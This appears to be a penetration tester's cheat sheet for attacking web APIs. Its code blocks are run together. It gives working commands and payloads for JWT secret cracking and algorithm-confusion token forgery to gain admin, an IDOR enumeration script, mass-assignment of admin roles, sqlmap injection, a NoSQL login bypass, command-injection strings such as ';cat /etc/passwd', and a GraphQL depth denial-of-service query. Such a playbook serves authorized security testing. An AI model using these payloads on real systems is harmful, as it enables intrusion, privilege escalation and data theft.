REST, GraphQL, SOAP, and the weird proprietary JSON-RPC that nobody admits to running in production.
# Verify scope hosts before you spray
mkdir -p ~/engagements/$CLIENT/{logs,evidence,exports}
alias burl='curl -x http://127.0.0.1:8080 -k'Burp config:
- Proxy → Options →
*:8080 - Extender → JSON Beautifier, JWT4B, Autorize
# If you have a Postman collection
jq -r '.item[].request.url.raw' collection.json > endpoints.txt
# If you don't
ffuf -w /usr/share/seclists/Discovery/Web-Content/api-endpoints.txt \
-u https://$TARGET/FUZZ \
-H "Authorization: Bearer $TOKEN" \
-mc 200,201,401,403,405
# Parameter discovery
arjun -u https://$TARGET/api/users \
--headers "Authorization: Bearer $TOKEN" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt# Decode and triage
jwt_tool $JWT_TOKEN
# Weak HS256 secret
jwt_tool -cr -cd "claims_here" $JWT_TOKEN /usr/share/wordlists/rockyou.txt
# Algorithm confusion (RS256 → HS256)
# 1. Get public key: curl https://$TARGET/.well-known/jwks.json
# 2. Convert: jwt_tool -jwks jwks.json -p
# 3. Sign with HS256 using PEM as secret:
jwt_tool -S hs256 -k public.pem -I -pc sub -pv "admin" -pc role -pv "admin" $JWT_TOKENOLD_TOKEN="eyJ..."
curl -s https://$TARGET/api/profile -H "Authorization: Bearer $OLD_TOKEN" | jq .
# Expected: 401. Vulnerability: valid user data after logout.curl -s -X POST https://$TARGET/oauth/token \
-d "grant_type=authorization_code" \
-d "code=$CODE" \
-d "scope=admin+read+write" \
-d "client_id=$CLIENT_ID"# idor_scanner.py — python3 idor_scanner.py [URL] [TOKEN] [START] [END]
import requests, sys
BASE_URL = sys.argv[1]; TOKEN = sys.argv[2]
START_ID = int(sys.argv[3]); END_ID = int(sys.argv[4])
headers = {"Authorization": f"Bearer {TOKEN}"}
for i in range(START_ID, END_ID):
r = requests.get(f"{BASE_URL}{i}", headers=headers, timeout=5)
if r.status_code == 200:
print(f"[+] Accessible ID: {i} | Size: {len(r.content)}")
with open(f"evidence/idor_{i}.json", "w") as f: f.write(r.text)uuid="550e8400-e29b-41d4-a716-446655440000"
version=${uuid:14:1}
if [ "$version" == "1" ]; then echo "UUIDv1 — time-based, predictable"; fijq '. + {"is_admin": true, "role": "admin"}' original_body.json > modified.json
curl -X PUT https://$TARGET/api/users/123 \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d @modified.json | jq .sqlmap -u "https://$TARGET/api/users?id=1" \
--headers="Authorization: Bearer $TOKEN" \
--level=3 --risk=2 --batchReplace:
{"username": "admin", "password": "pass"}With:
{"username": {"$ne": null}, "password": {"$ne": null}}payloads=(";whoami" "|whoami" "$(whoami)" "`whoami`" ";cat /etc/passwd")# Introspection
curl -s https://$TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query": "query { __schema { types { name fields { name } } } }"}' | jq .
# Query depth limit (DoS)
deep='query { user { posts { author { posts { author { posts { author { name } } } } } } } }'
curl -s https://$TARGET/graphql -d "{\"query\": \"$deep\"}"curl -s https://$TARGET/swagger.json > swagger.json
jq -r '.paths | keys[]' swagger.json > api_endpoints.txt
jq '.paths | to_entries[] | select(.value | keys[] | contains("delete")) | .key' swagger.json- Test per-IP vs per-user rate limits (swap tokens, keep IP).
- Batch operations:
POST /api/messageswith 10,000 IDs. - GraphQL query complexity limits.
OPTIONSpre-flight doesn't provePOSTis protected.- API versioning (
/v1/,/v2/) — older versions often less secure. - Internal admin endpoints not in Swagger but guessable (
/internal/,/admin/). - WebSocket upgrade messages bypass some API gateways.